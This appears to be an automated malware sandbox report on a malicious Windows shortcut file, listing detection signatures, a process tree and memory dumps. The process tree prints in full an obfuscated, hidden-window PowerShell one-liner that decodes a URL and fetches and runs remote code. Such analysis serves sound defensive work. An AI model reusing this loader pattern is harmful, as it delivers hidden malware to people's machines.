Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 06:17
General
- Target photov_984769157306.lnk
- Size 2KB
- Sample260731-g2e36sxtav
- SHA256 053acf58310f45f8066e1efd03fcdbfc5b3d2441d2c325f8e7ea586b183f0100
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_984769157306.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Hidden -c "$h3ycr7=52;$tnwt8=[bigint]::Parse('592597401156192473752835635059675188');$y5z156=[bigint]::Parse('4622607556628334186308862240058571');$tnwt8=$tnwt8-$y5z156;$zl_0q8nn6d=@();while($tnwt8 -gt 0){$zl_0q8nn6d+=[char][int]([bigint]::Remainder($tnwt8,256));$tnwt8=[bigint]::Divide($tnwt8,256)};.([scriptblock]::Create((irm(-join$zl_0q8nn6d))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -c "$h3ycr7=52;$tnwt8=[bigint]::Parse('592597401156192473752835635059675188');$y5z156=[bigint]::Parse('4622607556628334186308862240058571');$tnwt8=$tnwt8-$y5z156;$zl_0q8nn6d=@();while($tnwt8 -gt 0){$zl_0q8nn6d+=[char][int]([bigint]::Remainder($tnwt8,256));$tnwt8=[bigint]::Divide($tnwt8,256)};.([scriptblock]::Create((irm(-join$zl_0q8nn6d))))"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1748-15-0x0000019BADF70000-0x0000019BADFEC000-memory.dmp
memory/1748-21-0x0000019BADF70000-0x0000019BADFEC000-memory.dmp
memory/4116-10-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-11-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-6-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-7-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-8-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-9-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-0-0x00007FFB6A85F000-0x00007FFB6A860000-memory.dmp
memory/4116-5-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-12-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-13-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-14-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-4-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-17-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-20-0x00007FFB6A6D0000-0x00007FFB6B074000-memory.dmp
memory/4116-3-0x00000182EE860000-0x00000182EE882000-memory.dmp